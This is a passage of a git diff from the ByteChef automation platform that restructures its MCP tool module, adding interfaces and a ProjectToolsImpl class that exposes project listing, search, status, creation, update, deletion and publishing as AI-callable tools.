-    public List<WorkflowInfo> searchWorkflows(
-        @ToolParam(description = "The search query to match against workflow names and descriptions") String query,
-        @ToolParam(required = false, description = "The ID of the project") Long projectId) {
-
-        try {
-            List<ProjectWorkflowDTO> allWorkflows =
-                projectId != null ? projectWorkflowFacade.getProjectWorkflows(projectId)
-                    : projectWorkflowFacade.getProjectWorkflows();
-
-            String lowerQuery = StringUtils.trim(query.toLowerCase());
-
-            List<WorkflowInfo> matchingWorkflow = allWorkflows.stream()
-                .filter(workflow -> {
-                    String name = workflow.getLabel();
-
-                    name = name != null ? name.toLowerCase() : "";
-
-                    String description = workflow.getDescription();
-
-                    description = description != null ? description.toLowerCase() : "";
-
-                    return name.contains(lowerQuery) || description.contains(lowerQuery);
-                })
-                .map(workflow -> new WorkflowInfo(
-                    workflow.getId(), workflow.getProjectWorkflowId(), workflow.getWorkflowUuid(), workflow.getLabel(),
-                    workflow.getDescription(), workflow.getDefinition(), workflow.getVersion(),
-                    workflow.getCreatedDate() != null ? workflow.getCreatedDate() : null,
-                    workflow.getLastModifiedDate() != null ? workflow.getLastModifiedDate() : null))
-                .toList();
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Found {} workflows matching query '{}'", matchingWorkflow.size(), query);
-            }
-
-            return matchingWorkflow;
-        } catch (Exception e) {
-            logger.error("Failed to search workflows with query '{}'", query, e);
-            throw new RuntimeException("Failed to search workflows: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Validate a workflow configuration by checking its structure, properties and outputs against the task definitions. Returns validation results with any errors found")
-    public WorkflowValidationResult validateWorkflow(
-        @ToolParam(description = "The JSON string of the workflow to validate") String workflow) {
-
-        try {
-            StringBuilder errors = new StringBuilder("[");
-            StringBuilder warnings = new StringBuilder("[");
-
-            WorkflowValidator.validateWorkflow(
-                workflow, this::getTaskProperties, this::getTaskOutputProperty, new HashMap<>(),
-                new HashMap<>(), errors, warnings);
-
-            errors.append("]");
-
-            String errorMessages = StringUtils.trim(errors.toString());
-
-            boolean isValid = errorMessages.equals("[]");
-
-            warnings.append("]");
-
-            String warningMessages = StringUtils.trim(warnings.toString());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug(
-                    "Validated workflow. Valid: {}, Errors: {}, Warnings: {}", isValid, errorMessages, warningMessages);
-            }
-
-            return new WorkflowValidationResult(isValid, errorMessages, warningMessages);
-        } catch (Exception e) {
-            logger.error("Failed to validate workflow", e);
-
-            throw new RuntimeException("Failed to validate workflow", e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Create a new workflow in a ByteChef project. Returns the created workflow information including id, project id, workflow id, and reference code.")
-    public ProjectWorkflowInfo createProjectWorkflow(
-        @ToolParam(description = "The ID of the project to add the workflow to") long projectId,
-        @ToolParam(
-            description = "The definition for the workflow. Needs to be in JSON format similar to "
-                + DEFAULT_DEFINITION) String definition) {
-
-        try {
-            ProjectWorkflow projectWorkflow = projectWorkflowFacade.addWorkflow(projectId, definition);
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Created workflow {} for project {}", definition, projectId);
-            }
-
-            return new ProjectWorkflowInfo(
-                projectWorkflow.getId(), projectWorkflow.getProjectId(), projectWorkflow.getProjectVersion(),
-                projectWorkflow.getWorkflowId(), projectWorkflow.getUuidAsString(),
-                projectWorkflow.getCreatedDate() != null ? projectWorkflow.getCreatedDate() : null,
-                projectWorkflow.getLastModifiedDate() != null ? projectWorkflow.getLastModifiedDate() : null);
-        } catch (Exception e) {
-            logger.error(
-                "Failed to create workflow {} for project {}", definition, projectId, e);
-
-            throw new RuntimeException("Failed to create project workflow: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(description = "Delete a workflow. Returns a confirmation message.")
-    public String deleteWorkflow(
-        @ToolParam(description = "The ID of the workflow to delete") String workflowId) {
-        try {
-            ProjectWorkflowDTO projectWorkflowDTO = projectWorkflowFacade.getProjectWorkflow(workflowId);
-
-            String workflowName = projectWorkflowDTO.getLabel();
-
-            projectWorkflowFacade.deleteWorkflow(projectWorkflowDTO.getId());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug("Deleted workflow {} with name '{}'", workflowId, workflowName);
-            }
-
-            return "Workflow '" + workflowName + "' (ID: " + workflowId + ") has been successfully deleted.";
-        } catch (Exception e) {
-            logger.error("Failed to delete workflow {}", workflowId, e);
-
-            throw new RuntimeException("Failed to delete workflow: " + e.getMessage(), e);
-        }
-    }
-
-    @Override
-    @Tool(
-        description = "Update the workflow definition. Returns the updated workflow id, name and definition.")
-    public WorkflowInfo updateWorkflow(
-        @ToolParam(description = "The ID of the workflow to update") String workflowId,
-        @ToolParam(
-            description = "The new definition of the workflow. Needs to be in JSON format similar to " +
-                DEFAULT_DEFINITION) String definition) {
-
-        try {
-            ProjectWorkflowDTO projectWorkflowDTO = projectWorkflowFacade.getProjectWorkflow(workflowId);
-
-            projectWorkflowFacade.updateWorkflow(
-                projectWorkflowDTO.getId(), definition, projectWorkflowDTO.getVersion());
-
-            if (logger.isDebugEnabled()) {
-                logger.debug(
-                    "Updated workflow {} with name '{}'", projectWorkflowDTO.getId(), projectWorkflowDTO.getLabel());
-            }
-
-            return new WorkflowInfo(
-                projectWorkflowDTO.getId(), projectWorkflowDTO.getProjectWorkflowId(),
-                projectWorkflowDTO.getWorkflowUuid(), projectWorkflowDTO.getLabel(),
-                projectWorkflowDTO.getDescription(), projectWorkflowDTO.getDefinition(),
-                projectWorkflowDTO.getVersion(),
-                projectWorkflowDTO.getCreatedDate() != null ? projectWorkflowDTO.getCreatedDate() : null,
-                projectWorkflowDTO.getLastModifiedDate() != null ? projectWorkflowDTO.getLastModifiedDate() : null);
-        } catch (Exception e) {
-            logger.error("Failed to update workflow {}", workflowId, e);
-
-            throw new RuntimeException("Failed to update workflow: " + e.getMessage(), e);
-        }
-    }
-
-    protected PropertyInfo getTaskOutputProperty(String type, String taskType, StringBuilder warnings) {
-        String[] split = type.split("/");
-
-        int version = Integer.parseInt(split[1].substring(1));
-
-        try {
-            if (split.length == 2) {
-                return taskTools.getTaskOutputProperty("taskDispatcher", split[0], split[0], version);
-            } else if (taskType.equals("trigger")) {
-                return taskTools.getTaskOutputProperty(taskType, split[2], split[0], version);
-            } else {
-                return taskTools.getTaskOutputProperty("action", split[2], split[0], version);
-            }
-        } catch (Exception e) {
-            warnings.append(e.getMessage());
-
-            return null;
-        }
-    }
-
-    protected List<PropertyInfo> getTaskProperties(String type, String taskType) {
-        String[] split = type.split("/");
-
-        int version = Integer.parseInt(split[1].substring(1));
-
-        if (split.length == 2) {
-            return taskTools.getTaskProperties("taskDispatcher", split[0], split[0], version);
-        } else if (taskType.equals("trigger")) {
-            return taskTools.getTaskProperties(taskType, split[2], split[0], version);
-        } else {
-            return taskTools.getTaskProperties("action", split[2], split[0], version);
-        }
-    }
-}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/build.gradle.kts b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/build.gradle.kts
new file mode 100644
index 00000000000..8378646bc2b
--- /dev/null
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/build.gradle.kts
@@ -0,0 +1,11 @@
+dependencies {
+    implementation("org.apache.commons:commons-lang3")
+    implementation("org.slf4j:slf4j-api")
+    implementation("org.springframework:spring-context")
+    implementation("org.springframework.boot:spring-boot-autoconfigure")
+    implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-platform"))
+    implementation(project(":server:libs:automation:automation-configuration:automation-configuration-api"))
+    implementation(project(":server:libs:core:commons:commons-util"))
+    implementation(project(":server:libs:platform:platform-workflow:platform-workflow-validator"))
+    implementation(project(":server:libs:platform:platform-mcp:platform-mcp-api"))
+}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectTools.java
similarity index 79%
rename from server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectTools.java
rename to server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectTools.java
index 6885e750167..3f4f08ee5e2 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-api/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectTools.java
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectTools.java
@@ -16,22 +16,21 @@
 
 package com.bytechef.ai.mcp.tool.automation.api;
 
+import com.bytechef.ai.mcp.tool.automation.impl.ProjectToolsImpl;
 import java.util.List;
 
 /**
- * Interface for project tools operations including create, update, delete and publish.
- *
  * @author Marko Kriskovic
  */
 public interface ProjectTools extends ReadProjectTools {
 
-    ProjectInfo createProject(
+    ProjectToolsImpl.ProjectInfo createProject(
         String name, String description, Long categoryId, Long workspaceId, List<Long> tagIds);
 
     String deleteProject(long projectId);
 
-    ProjectInfo updateProject(
+    ProjectToolsImpl.ProjectInfo updateProject(
         long projectId, String name, String description, Long categoryId, List<Long> tagIds);
 
-    ProjectPublishInfo publishProject(long projectId, String description);
+    ProjectToolsImpl.ProjectPublishInfo publishProject(long projectId, String description);
 }
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowTools.java
new file mode 100644
index 00000000000..8ce509c28dd
--- /dev/null
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ProjectWorkflowTools.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ai.mcp.tool.automation.api;
+
+import com.bytechef.ai.mcp.tool.automation.impl.ProjectWorkflowToolsImpl;
+
+/**
+ * @author Marko Kriskovic
+ */
+public interface ProjectWorkflowTools extends ReadProjectWorkflowTools {
+
+    ProjectWorkflowToolsImpl.ProjectWorkflowInfo createProjectWorkflow(long projectId, String definition);
+
+    String deleteWorkflow(String workflowId);
+
+    ProjectWorkflowToolsImpl.WorkflowInfo updateWorkflow(String workflowId, String definition);
+}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectTools.java
new file mode 100644
index 00000000000..d0fdf19d515
--- /dev/null
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectTools.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ai.mcp.tool.automation.api;
+
+import com.bytechef.ai.mcp.tool.automation.impl.ProjectToolsImpl;
+import java.util.List;
+
+/**
+ * @author Marko Kriskovic
+ */
+public interface ReadProjectTools {
+
+    List<ProjectToolsImpl.ProjectInfo> listProjects();
+
+    ProjectToolsImpl.ProjectDetailInfo getProject(long projectId);
+
+    List<ProjectToolsImpl.ProjectInfo> searchProjects(String query);
+
+    ProjectToolsImpl.ProjectStatusInfo getProjectStatus(long projectId);
+}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectWorkflowTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectWorkflowTools.java
new file mode 100644
index 00000000000..139b6e57755
--- /dev/null
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/api/ReadProjectWorkflowTools.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ai.mcp.tool.automation.api;
+
+import com.bytechef.ai.mcp.tool.automation.impl.ProjectWorkflowToolsImpl;
+import java.util.List;
+
+/**
+ * @author Marko Kriskovic
+ */
+public interface ReadProjectWorkflowTools {
+
+    ProjectWorkflowToolsImpl.WorkflowInfo getWorkflow(String workflowId);
+
+    String getWorkflowBuildInstructions();
+
+    List<ProjectWorkflowToolsImpl.WorkflowInfo> listWorkflows(long projectId);
+
+    List<ProjectWorkflowToolsImpl.WorkflowInfo> searchWorkflows(String query, Long projectId);
+
+    ProjectWorkflowToolsImpl.WorkflowValidationResult validateWorkflow(String workflowId);
+}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectToolsImpl.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectToolsImpl.java
new file mode 100644
index 00000000000..3ca0e71dd63
--- /dev/null
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectToolsImpl.java
@@ -0,0 +1,441 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ai.mcp.tool.automation.impl;
+
+import com.bytechef.ai.mcp.tool.automation.api.ProjectTools;
+import com.bytechef.automation.configuration.domain.Project;
+import com.bytechef.automation.configuration.domain.ProjectDeployment;
+import com.bytechef.automation.configuration.domain.ProjectVersion;
+import com.bytechef.automation.configuration.domain.ProjectVersion.Status;
+import com.bytechef.automation.configuration.domain.Workspace;
+import com.bytechef.automation.configuration.service.ProjectDeploymentService;
+import com.bytechef.automation.configuration.service.ProjectService;
+import com.bytechef.platform.configuration.domain.Environment;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonPropertyDescription;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.time.Instant;
+import java.util.List;
+import java.util.stream.Collectors;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.ai.tool.annotation.Tool;
+import org.springframework.ai.tool.annotation.ToolParam;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.stereotype.Component;
+
+/**
+ * The ProjectTools class provides a suite of tools for managing and interacting with projects in the ByteChef platform.
+ * It encompasses functionalities such as project creation, retrieval, update, deletion, publishing, and searching,
+ * along with deployment status management. This class integrates with services to enable project workflows and
+ * deployment configurations.
+ *
+ * @author Ivica Cardic
+ */
+@Component
+@ConditionalOnProperty(name = "bytechef.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
+public class ProjectToolsImpl implements ProjectTools {
+
+    private static final Logger logger = LoggerFactory.getLogger(ProjectToolsImpl.class);
+
+    private final ProjectService projectService;
+    private final ProjectDeploymentService projectDeploymentService;
+
+    @SuppressFBWarnings("EI")
+    public ProjectToolsImpl(ProjectService projectService, ProjectDeploymentService projectDeploymentService) {
+        this.projectService = projectService;
+        this.projectDeploymentService = projectDeploymentService;
+    }
+
+    @Override
+    @Tool(
+        description = "List all projects in ByteChef. Returns a list of projects with their basic information including id, name, description, and status.")
+    public List<ProjectToolsImpl.ProjectInfo> listProjects() {
+        try {
+            List<Project> projects = projectService.getProjects();
+
+            List<ProjectToolsImpl.ProjectInfo> projectInfos = projects.stream()
+                .map(ProjectToolsImpl::getProjectInfo)
+                .collect(Collectors.toList());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Found {} projects", projectInfos.size());
+            }
+
+            return projectInfos;
+        } catch (Exception e) {
+            logger.error("Failed to list projects", e);
+
+            throw new RuntimeException("Failed to list projects: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Get comprehensive information about a specific project. Returns detailed project information including id, name, description, status, versions, and metadata.")
+    public ProjectToolsImpl.ProjectDetailInfo getProject(
+        @ToolParam(description = "The ID of the project to retrieve") long projectId) {
+
+        try {
+            Project project = projectService.getProject(projectId);
+            List<ProjectVersion> projectVersions = projectService.getProjectVersions(projectId);
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Retrieved project {} with {} versions", projectId, projectVersions.size());
+            }
+
+            ProjectVersion.Status lastStatus = project.getLastStatus();
+            List<ProjectToolsImpl.ProjectVersionInfo> projectVersionInfos = projectVersions.stream()
+                .map(pv -> {
+                    ProjectVersion.Status status = pv.getStatus();
+
+                    return new ProjectToolsImpl.ProjectVersionInfo(
+                        pv.getVersion(), status.name(), pv.getDescription(),
+                        pv.getPublishedDate() != null ? pv.getPublishedDate() : null);
+                })
+                .collect(Collectors.toList());
+
+            return new ProjectToolsImpl.ProjectDetailInfo(
+                project.getId(), project.getName(), project.getDescription(), lastStatus.name(),
+                project.getCategoryId(), project.getWorkspaceId(), project.getTagIds(),
+                projectVersionInfos, project.getCreatedDate(), project.getLastModifiedDate(),
+                project.getLastPublishedDate() != null ? project.getLastPublishedDate() : null);
+        } catch (Exception e) {
+            logger.error("Failed to get project {}", projectId, e);
+
+            throw new RuntimeException("Failed to get project: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Full-text search across all projects. Returns a list of projects matching the search query in name or description.")
+    public List<ProjectToolsImpl.ProjectInfo> searchProjects(
+        @ToolParam(description = "The search query to match against project names and descriptions") String query) {
+
+        try {
+            List<Project> allProjects = projectService.getProjects();
+            query = query.toLowerCase();
+
+            String lowerQuery = query.trim();
+
+            List<ProjectToolsImpl.ProjectInfo> matchingProjects = allProjects.stream()
+                .filter(project -> {
+                    String name = project.getName();
+
+                    name = name != null ? name.toLowerCase() : "";
+
+                    String description = project.getDescription();
+
+                    description = description != null ? description.toLowerCase() : "";
+
+                    return name.contains(lowerQuery) || description.contains(lowerQuery);
+                })
+                .map(ProjectToolsImpl::getProjectInfo)
+                .collect(Collectors.toList());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Found {} projects matching query '{}'", matchingProjects.size(), query);
+            }
+
+            return matchingProjects;
+        } catch (Exception e) {
+            logger.error("Failed to search projects with query '{}'", query, e);
+            throw new RuntimeException("Failed to search projects: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Get project deployment and execution status. Returns detailed status information including deployment environments and their states.")
+    public ProjectToolsImpl.ProjectStatusInfo getProjectStatus(
+        @ToolParam(description = "The ID of the project to get status for") long projectId) {
+
+        try {
+            Project project = projectService.getProject(projectId);
+            List<ProjectDeployment> deployments = projectDeploymentService.getProjectDeployments(projectId);
+
+            List<ProjectToolsImpl.ProjectDeploymentStatusInfo> deploymentStatuses = deployments.stream()
+                .map(deployment -> {
+                    Environment environment = deployment.getEnvironment();
+
+                    return new ProjectToolsImpl.ProjectDeploymentStatusInfo(
+                        deployment.getId(), environment.name(), deployment.isEnabled(),
+                        projectDeploymentService.isProjectDeploymentEnabled(deployment.getId()),
+                        deployment.getCreatedDate() != null ? deployment.getCreatedDate() : null,
+                        deployment.getLastModifiedDate() != null ? deployment.getLastModifiedDate() : null);
+                })
+                .collect(Collectors.toList());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Retrieved status for project {} with {} deployments", projectId,
+                    deploymentStatuses.size());
+            }
+
+            ProjectVersion.Status lastStatus = project.getLastStatus();
+            return new ProjectToolsImpl.ProjectStatusInfo(
+                project.getId(), project.getName(), lastStatus.name(), project.isPublished(),
+                project.getLastProjectVersion(),
+                project.getLastPublishedDate() != null ? project.getLastPublishedDate() : null, deploymentStatuses);
+        } catch (Exception e) {
+            logger.error("Failed to get status for project {}", projectId, e);
+            throw new RuntimeException("Failed to get project status: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Create a new project with workflows. Returns the created project information including id, name, description, and status.")
+    public ProjectInfo createProject(
+        @ToolParam(description = "The name of the new project") String name,
+        @ToolParam(required = false, description = "The description of the new project") String description,
+        @ToolParam(required = false, description = "The category ID for the project") Long categoryId,
+        @ToolParam(required = false, description = "The workspace ID for the project") Long workspaceId,
+        @ToolParam(required = false, description = "The tag IDs to associate with the project") List<Long> tagIds) {
+
+        try {
+            Project.Builder projectBuilder = Project.builder()
+                .name(name);
+
+            if (description != null) {
+                description = description.trim();
+
+                if (!description.isEmpty()) {
+                    projectBuilder.description(description);
+                }
+            }
+
+            if (categoryId != null) {
+                projectBuilder.categoryId(categoryId);
+            }
+
+            if (workspaceId != null) {
+                projectBuilder.workspaceId(workspaceId);
+            } else {
+                projectBuilder.workspaceId(Workspace.DEFAULT_WORKSPACE_ID);
+            }
+
+            if (tagIds != null && !tagIds.isEmpty()) {
+                projectBuilder.tagIds(tagIds);
+            }
+
+            Project project = projectService.create(projectBuilder.build());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Created project {} with name '{}'", project.getId(), project.getName());
+            }
+
+            Status lastStatus = project.getLastStatus();
+            return new ProjectInfo(
+                project.getId(), project.getName(), project.getDescription(), lastStatus.name(),
+                project.getCreatedDate(), project.getLastModifiedDate());
+        } catch (Exception e) {
+            logger.error("Failed to create project with name '{}'", name, e);
+
+            throw new RuntimeException("Failed to create project: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Update project settings and metadata. Returns the updated project information including id, name, description, and status.")
+    public ProjectInfo updateProject(
+        @ToolParam(description = "The ID of the project to update") long projectId,
+        @ToolParam(required = false, description = "The new name of the project") String name,
+        @ToolParam(required = false, description = "The new description of the project") String description,
+        @ToolParam(required = false, description = "The new category ID for the project") Long categoryId,
+        @ToolParam(required = false, description = "The new tag IDs to associate with the project") List<Long> tagIds) {
+
+        try {
+            Project existingProject = projectService.getProject(projectId);
+
+            if (name != null) {
+                name = name.trim();
+            }
+
+            existingProject.setName(name != null && !name.isEmpty() ? name : existingProject.getName());
+            existingProject.setDescription(description != null ? description : existingProject.getDescription());
+            existingProject.setCategoryId(categoryId != null ? categoryId : existingProject.getCategoryId());
+
+            if (tagIds != null) {
+                existingProject.setTagIds(tagIds);
+            }
+
+            Project updatedProject = projectService.update(existingProject);
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Updated project {} with name '{}'", updatedProject.getId(), updatedProject.getName());
+            }
+
+            Status lastStatus = updatedProject.getLastStatus();
+
+            return new ProjectInfo(
+                updatedProject.getId(), updatedProject.getName(), updatedProject.getDescription(), lastStatus.name(),
+                updatedProject.getCreatedDate(), updatedProject.getLastModifiedDate());
+        } catch (Exception e) {
+            logger.error("Failed to update project {}", projectId, e);
+
+            throw new RuntimeException("Failed to update project: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Delete a project and all its workflows. Returns a confirmation message.")
+    public String deleteProject(
+        @ToolParam(description = "The ID of the project to delete") long projectId) {
+
+        try {
+            Project project = projectService.getProject(projectId);
+            String projectName = project.getName();
+
+            projectService.delete(projectId);
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Deleted project {} with name '{}'", projectId, projectName);
+            }
+
+            return "Project '" + projectName + "' (ID: " + projectId +
+                ") has been successfully deleted along with all its workflows.";
+        } catch (Exception e) {
+            logger.error("Failed to delete project {}", projectId, e);
+
+            throw new RuntimeException("Failed to delete project: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Publish a project version for deployment. Returns the published project version information.")
+    public ProjectPublishInfo publishProject(
+        @ToolParam(description = "The ID of the project to publish") long projectId,
+        @ToolParam(required = false, description = "The description for this published version") String description) {
+
+        try {
+            int publishedVersion = projectService.publishProject(projectId, description, false);
+
+            Project updatedProject = projectService.getProject(projectId);
+
+            if (logger.isDebugEnabled()) {
+                logger.debug(
+                    "Published project {} version {} with description '{}'", projectId, publishedVersion, description);
+            }
+
+            return new ProjectPublishInfo(
+                updatedProject.getId(), updatedProject.getName(), publishedVersion, description,
+                updatedProject.getLastPublishedDate() != null ? updatedProject.getLastPublishedDate() : null);
+        } catch (Exception e) {
+            logger.error("Failed to publish project {}", projectId, e);
+            throw new RuntimeException("Failed to publish project: " + e.getMessage(), e);
+        }
+    }
+
+    private static ProjectInfo getProjectInfo(Project project) {
+        Instant lastPublishedDate = project.getLastPublishedDate();
+
+        Status lastStatus = Status.PUBLISHED;
+
+        if (lastPublishedDate == null) {
+            lastStatus = Status.DRAFT;
+        }
+
+        return new ProjectInfo(
+            project.getId(), project.getName(), project.getDescription(), lastStatus.name(),
+            project.getCreatedDate(), project.getLastModifiedDate());
+    }
+
+    /**
+     * Project information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
+        @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the project") String description,
+        @JsonProperty("status") @JsonPropertyDescription("The current status of the project") String status,
+        @JsonProperty("created_date") @JsonPropertyDescription("When the project was created") Instant createdDate,
+        @JsonProperty("last_modified_date") @JsonPropertyDescription("When the project was last modified") Instant lastModifiedDate) {
+    }
+
+    /**
+     * Detailed project information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectDetailInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
+        @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the project") String description,
+        @JsonProperty("status") @JsonPropertyDescription("The current status of the project") String status,
+        @JsonProperty("category_id") @JsonPropertyDescription("The category ID of the project") Long categoryId,
+        @JsonProperty("workspace_id") @JsonPropertyDescription("The workspace ID of the project") Long workspaceId,
+        @JsonProperty("tag_ids") @JsonPropertyDescription("The tag IDs associated with the project") List<Long> tagIds,
+        @JsonProperty("versions") @JsonPropertyDescription("The versions of the project") List<ProjectToolsImpl.ProjectVersionInfo> versions,
+        @JsonProperty("created_date") @JsonPropertyDescription("When the project was created") Instant createdDate,
+        @JsonProperty("last_modified_date") @JsonPropertyDescription("When the project was last modified") Instant lastModifiedDate,
+        @JsonProperty("last_published_date") @JsonPropertyDescription("When the project was last published") Instant lastPublishedDate) {
+    }
+
+    /**
+     * Project version information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectVersionInfo(
+        @JsonProperty("version") @JsonPropertyDescription("The version number") int version,
+        @JsonProperty("status") @JsonPropertyDescription("The status of the version") String status,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the version") String description,
+        @JsonProperty("published_date") @JsonPropertyDescription("When the version was published") Instant publishedDate) {
+    }
+
+    /**
+     * Project status information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectStatusInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
+        @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
+        @JsonProperty("status") @JsonPropertyDescription("The current status of the project") String status,
+        @JsonProperty("is_published") @JsonPropertyDescription("Whether the project is published") boolean isPublished,
+        @JsonProperty("last_version") @JsonPropertyDescription("The last version number") int lastVersion,
+        @JsonProperty("last_published_date") @JsonPropertyDescription("When the project was last published") Instant lastPublishedDate,
+        @JsonProperty("deployments") @JsonPropertyDescription("The deployment status information") List<ProjectToolsImpl.ProjectDeploymentStatusInfo> deployments) {
+    }
+
+    /**
+     * Project deployment status information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectDeploymentStatusInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the deployment") Long id,
+        @JsonProperty("environment") @JsonPropertyDescription("The deployment environment") String environment,
+        @JsonProperty("enabled") @JsonPropertyDescription("Whether the deployment is enabled") boolean enabled,
+        @JsonProperty("is_deployment_enabled") @JsonPropertyDescription("Whether the deployment is currently enabled") boolean isDeploymentEnabled,
